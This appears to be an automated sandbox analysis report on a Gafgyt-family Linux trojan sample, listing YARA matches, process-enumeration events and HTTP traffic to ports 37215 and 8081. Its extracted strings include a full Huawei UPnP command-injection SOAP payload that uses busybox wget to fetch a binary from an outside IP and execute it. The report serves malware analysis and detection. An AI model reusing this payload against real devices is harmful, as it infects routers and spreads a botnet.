Source: 5488.1.00007f9260017000.00007f926003a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: U6YcZ2TLtT.elf PID: 5488, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKbolonetwork.armbolonetwork.arm5bolonetwork.arm6bolonetwork.arm7bolonetwork.mipsbolonetwork.mpslbolonetwork.x86_64bolonetwork.sh4<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: Content-Length: abcdefghijklmnopqrstuvwxyz/proc/%d/exe/tmp/%s%s%c/proc/self/cmdline/proc/%d/proc/self/proc/proc/%d/cmdlinernetstatwgetcurlbusybox/bin/busybox/proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys/bin/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetsshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearropbearencodersystem/root/dvr_gui//root/dvr_app//anko-app//opt/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3f

Source: Initial sample	Potential command found: GET / HTTP/1.1
Source: Initial sample	Potential command found: GET /
Source: Initial sample	Potential command found: GET /HEAD /POST / HTTP/1.1 404 Not FoundServer: ApacheContent-Length: %d
Source: Initial sample	Potential command found: GET /index.php?s=/index/hink
Source: Initial sample	Potential command found: GET /%s HTTP/1.0

Source: ELF static info symbol of initial sample

.symtab present: no

Source: U6YcZ2TLtT.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5488.1.00007f9260017000.00007f926003a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: U6YcZ2TLtT.elf PID: 5488, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.troj.linELF@0/3@8/0

Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/3760/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/3761/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/1583/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/2672/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/3759/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/1577/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/3758/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/1593/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/240/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/3094/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/242/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/3406/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/244/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/1589/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/245/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/3402/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/247/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/806/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/807/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/928/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/135/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/378/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/3412/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/1371/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/260/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/261/cmdline	Jump to behavior
Source: /tmp/U6YcZ2TLtT.elf (PID: 5492)	File opened: /proc/262/cmdline	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 44016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36146 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60310 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35034 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54268 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52376 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46882 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40108 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47274 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47716 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39514 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58516 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49272 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49146 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44202 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44984 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40382 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33976 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58530 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41616 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37320 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53556 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51698 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54574 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55808 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45714 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41196 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55296 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44600 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33934 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36138 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42018 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55102 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43610 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41514 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59048 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35242 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33604 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44480 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35610 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53592 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60118 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39910 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36162 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55068 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37326 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40402 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33478 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48196 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43888 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35388 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55268 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46342 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51218 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43796 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48730 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59652 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39474 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55550 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51436 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34562 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51954 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51218 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46342 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43796 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48730 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59652 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39474 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55550 -> 8081
